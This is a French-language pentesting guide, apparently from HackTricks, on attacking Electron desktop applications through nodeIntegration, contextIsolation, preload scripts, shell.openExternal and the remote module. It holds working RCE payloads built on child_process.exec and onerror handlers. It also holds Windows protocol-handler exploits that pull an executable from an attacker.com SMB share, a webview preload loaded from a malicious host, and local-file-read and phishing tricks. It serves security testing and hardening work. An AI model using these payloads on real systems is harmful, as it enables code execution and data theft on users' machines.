Electron Desktop Apps

Reading time: 17 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Introduction

Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes.

Généralement, vous pouvez trouver le code de l'application electron à l'intérieur d'une application .asar, afin d'obtenir le code, vous devez l'extraire :

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Dans le code source d'une application Electron, Ă  l'intĂ©rieur de packet.json, vous pouvez trouver spĂ©cifiĂ© le fichier main.js oĂč les configurations de sĂ©curitĂ© sont dĂ©finies.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron a 2 types de processus :

  • Processus Principal (a un accĂšs complet Ă  NodeJS)
  • Processus de Rendu (devrait avoir un accĂšs restreint Ă  NodeJS pour des raisons de sĂ©curitĂ©)

Un processus de rendu sera une fenĂȘtre de navigateur chargeant un fichier :

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Les paramĂštres du processus de rendu peuvent ĂȘtre configurĂ©s dans le processus principal Ă  l'intĂ©rieur du fichier main.js. Certaines des configurations empĂȘcheront l'application Electron d'obtenir un RCE ou d'autres vulnĂ©rabilitĂ©s si les paramĂštres sont correctement configurĂ©s.

L'application Electron pourrait accĂ©der Ă  l'appareil via les API Node bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher :

  • nodeIntegration - est off par dĂ©faut. S'il est activĂ©, permet d'accĂ©der aux fonctionnalitĂ©s Node depuis le processus de rendu.
  • contextIsolation - est on par dĂ©faut. S'il est dĂ©sactivĂ©, les processus principal et de rendu ne sont pas isolĂ©s.
  • preload - vide par dĂ©faut.
  • sandbox - est dĂ©sactivĂ© par dĂ©faut. Cela restreindra les actions que NodeJS peut effectuer.
  • IntĂ©gration Node dans les Workers
  • nodeIntegrationInSubframes - est off par dĂ©faut.
  • Si nodeIntegration est activĂ©, cela permettrait l'utilisation des API Node.js dans les pages web qui sont chargĂ©es dans des iframes au sein d'une application Electron.
  • Si nodeIntegration est dĂ©sactivĂ©, alors les prĂ©charges se chargeront dans l'iframe.

Exemple de configuration :

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Quelques RCE payloads de ici :

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injection de code local Electron

Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez faire exécuter du code javascript arbitraire. Vérifiez comment dans :

macOS Electron Applications Injection

RCE : XSS + nodeIntegration

Si le nodeIntegration est réglé sur on, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant require(). Par exemple, la façon d'exécuter l'application calc sur Windows est :

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE : préchargement

Le script indiqué dans ce paramÚtre est chargé avant d'autres scripts dans le rendu, donc il a un accÚs illimité aux API Node :

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Par consĂ©quent, le script peut exporter des fonctionnalitĂ©s de nƓud vers des pages :

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Si contextIsolation est activé, cela ne fonctionnera pas

RCE : XSS + contextIsolation

Le contextIsolation introduit les contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.

Si les contextes ne sont pas isolés, un attaquant peut :

  1. Exécuter du JavaScript arbitraire dans le renderer (XSS ou navigation vers des sites externes)
  2. Écraser la mĂ©thode intĂ©grĂ©e qui est utilisĂ©e dans le preload ou le code interne d'Electron pour sa propre fonction
  3. Déclencher l'utilisation de la fonction écrasée
  4. RCE ?

Il y a 2 endroits oĂč les mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code de preload ou dans le code interne d'Electron :

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Contourner l'événement de clic

S'il y a des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourriez ĂȘtre en mesure de les contourner en effectuant un clic du milieu au lieu d'un clic gauche rĂ©gulier.

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/

Lors du dĂ©ploiement d'une application de bureau Electron, il est crucial de garantir les paramĂštres corrects pour nodeIntegration et contextIsolation. Il est Ă©tabli que l'exĂ©cution de code Ă  distance cĂŽtĂ© client (RCE) ciblant les scripts de prĂ©chargement ou le code natif d'Electron depuis le processus principal est efficacement empĂȘchĂ©e avec ces paramĂštres en place.

Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, qui sont cruciaux pour la sĂ©curitĂ© et la fonctionnalitĂ© de l'application :

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ces Ă©couteurs sont surchargĂ©s par l'application de bureau pour mettre en Ɠuvre sa propre logique mĂ©tier. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise par une fonction, openInternally. Si cette fonction retourne false, cela indique que le lien doit ĂȘtre ouvert Ă  l'extĂ©rieur, en utilisant la fonction shell.openExternal.

Voici un pseudocode simplifié :

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction openExternal, car cela pourrait conduire à une RCE via divers protocoles. Les systÚmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à cette ressource, qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.

Sur macOS, la fonction openExternal peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans shell.openExternal('file:///System/Applications/Calculator.app').

Les exemples d'exploits de protocoles Windows incluent :

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + preload IPC vuln + shell.openExternal

Cette vulnĂ©rabilitĂ© peut ĂȘtre trouvĂ©e dans ce rapport.

Le webviewTag est une fonctionnalitĂ© obsolĂšte qui permet l'utilisation de NodeJS dans le processus de rendu, ce qui devrait ĂȘtre dĂ©sactivĂ© car cela permet de charger un script dans le contexte de prĂ©chargement comme :

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour charger un script de préchargement arbitraire.

Ce script de préchargement a ensuite été abusé pour appeler un service IPC vulnérable (skype-new-window) qui appelait shell.openExternal pour obtenir un RCE :

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Lecture de fichiers internes : XSS + contextIsolation

Désactiver contextIsolation permet l'utilisation de balises <webview>, similaire à <iframe>, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :

De plus, une autre méthode pour lire un fichier interne est partagée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une application de bureau Electron. Cela implique d'injecter un script pour exploiter l'application et exfiltrer des données :

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE : XSS + Ancien Chromium

Si le chromium utilisĂ© par l'application est ancien et qu'il y a des vulnĂ©rabilitĂ©s connues dessus, il pourrait ĂȘtre possible de l'exploiter et d'obtenir RCE via un XSS.
Vous pouvez voir un exemple dans ce writeup : https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS via contournement de regex d'URL interne

Supposons que vous ayez trouvé un XSS mais que vous ne puissiez pas déclencher RCE ou voler des fichiers internes, vous pourriez essayer de l'utiliser pour voler des identifiants via phishing.

Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end :

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

L'appel Ă  openInternally dĂ©cidera si le lien sera ouvert dans la fenĂȘtre de bureau car c'est un lien appartenant Ă  la plateforme, ou s'il sera ouvert dans le navigateur en tant que ressource tierce.

Dans le cas oĂč la regex utilisĂ©e par la fonction est vulnĂ©rable aux contournements (par exemple en ne pas Ă©chapper les points des sous-domaines), un attaquant pourrait abuser du XSS pour ouvrir une nouvelle fenĂȘtre qui sera situĂ©e dans l'infrastructure de l'attaquant demandant des identifiants Ă  l'utilisateur :

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocol

Comme mentionnĂ© dans la documentation, les pages s'exĂ©cutant sur file:// ont un accĂšs unilatĂ©ral Ă  chaque fichier sur votre machine, ce qui signifie que les problĂšmes XSS peuvent ĂȘtre utilisĂ©s pour charger des fichiers arbitraires depuis la machine de l'utilisateur. L'utilisation d'un protocole personnalisĂ© empĂȘche des problĂšmes comme celui-ci, car vous pouvez limiter le protocole Ă  un ensemble spĂ©cifique de fichiers.

Remote module

Le module Remote d'Electron permet aux processus de rendu d'accéder aux API du processus principal, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques par script intersite (XSS).

tip

Bien que le module remote expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE juste en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.

warning

De nombreuses applications qui utilisent encore le module remote le font d'une maniÚre qui nécessite l'activation de NodeIntegration dans le processus de rendu, ce qui représente un énorme risque de sécurité.

Depuis Electron 14, le module remote d'Electron peut ĂȘtre activĂ© en plusieurs Ă©tapes, car pour des raisons de sĂ©curitĂ© et de performance, il est recommandĂ© de ne pas l'utiliser.

Pour l'activer, il faut d'abord l'activer dans le processus principal :

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Ensuite, le processus de rendu peut importer des objets du module comme :

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

Le blog post indique certaines fonctions intéressantes exposées par l'objet app du module distant :

  • app.relaunch([options])
  • RedĂ©marre l'application en quittant l'instance actuelle et en lancant une nouvelle. Utile pour les mises Ă  jour d'applications ou des changements d'Ă©tat significatifs.
  • app.setAppLogsPath([path])
  • DĂ©finit ou crĂ©e un rĂ©pertoire pour stocker les logs de l'application. Les logs peuvent ĂȘtre rĂ©cupĂ©rĂ©s ou modifiĂ©s en utilisant app.getPath() ou app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Enregistre l'exĂ©cutable actuel comme le gestionnaire par dĂ©faut pour un protocole spĂ©cifiĂ©. Vous pouvez fournir un chemin personnalisĂ© et des arguments si nĂ©cessaire.
  • app.setUserTasks(tasks)
  • Ajoute des tĂąches Ă  la catĂ©gorie TĂąches dans la Jump List (sur Windows). Chaque tĂąche peut contrĂŽler comment l'application est lancĂ©e ou quels arguments sont passĂ©s.
  • app.importCertificate(options, callback)
  • Importe un certificat PKCS#12 dans le magasin de certificats du systĂšme (Linux uniquement). Un callback peut ĂȘtre utilisĂ© pour gĂ©rer le rĂ©sultat.
  • app.moveToApplicationsFolder([options])
  • DĂ©place l'application vers le dossier Applications (sur macOS). Aide Ă  garantir une installation standard pour les utilisateurs de Mac.
  • app.setJumpList(categories)
  • DĂ©finit ou supprime une Jump List personnalisĂ©e sur Windows. Vous pouvez spĂ©cifier des catĂ©gories pour organiser comment les tĂąches apparaissent Ă  l'utilisateur.
  • app.setLoginItemSettings(settings)
  • Configure quels exĂ©cutables se lancent Ă  la connexion avec leurs options (macOS et Windows uniquement).
javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

module systemPreferences

L'API principale pour accéder aux préférences systÚme et émettre des événements systÚme dans Electron. Des méthodes comme subscribeNotification, subscribeWorkspaceNotification, getUserDefault et setUserDefault font toutes partie de ce module.

Exemple d'utilisation :

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Écoute les notifications macOS natives en utilisant NSDistributedNotificationCenter.
  • Avant macOS Catalina, vous pouviez intercepter toutes les notifications distribuĂ©es en passant nil Ă  CFNotificationCenterAddObserver.
  • AprĂšs Catalina / Big Sur, les applications en bac Ă  sable peuvent toujours s'abonner Ă  de nombreux Ă©vĂ©nements (par exemple, verrouillages/dĂ©verrouillages d'Ă©cran, montages de volume, activitĂ© rĂ©seau, etc.) en enregistrant des notifications par nom.

getUserDefault / setUserDefault

  • Interagit avec NSUserDefaults, qui stocke les prĂ©fĂ©rences d'application ou globales sur macOS.

  • getUserDefault peut rĂ©cupĂ©rer des informations sensibles, telles que les emplacements de fichiers rĂ©cents ou la localisation gĂ©ographique de l'utilisateur.

  • setUserDefault peut modifier ces prĂ©fĂ©rences, affectant potentiellement la configuration d'une application.

  • Dans les anciennes versions d'Electron (avant v8.3.0), seule la suite standard de NSUserDefaults Ă©tait accessible.

Shell.showItemInFolder

Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui pourrait exécuter automatiquement le fichier.

Pour plus d'informations, consultez https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Les applications Electron devraient avoir une Content Security Policy (CSP) pour prévenir les attaques XSS. La CSP est une norme de sécurité qui aide à prévenir l'exécution de code non fiable dans le navigateur.

Elle est généralement configurée dans le fichier main.js ou dans le modÚle index.html avec la CSP à l'intérieur d'une balise meta.

Pour plus d'informations, consultez :

Content Security Policy (CSP) Bypass

Outils

  • Electronegativity est un outil pour identifier les erreurs de configuration et les anti-modĂšles de sĂ©curitĂ© dans les applications basĂ©es sur Electron.
  • Electrolint est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
  • nodejsscan pour vĂ©rifier les bibliothĂšques tierces vulnĂ©rables.
  • Electro.ng: Vous devez l'acheter.

Labs

Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s, vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.

Certaines commandes qui vous aideront avec le laboratoire :

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks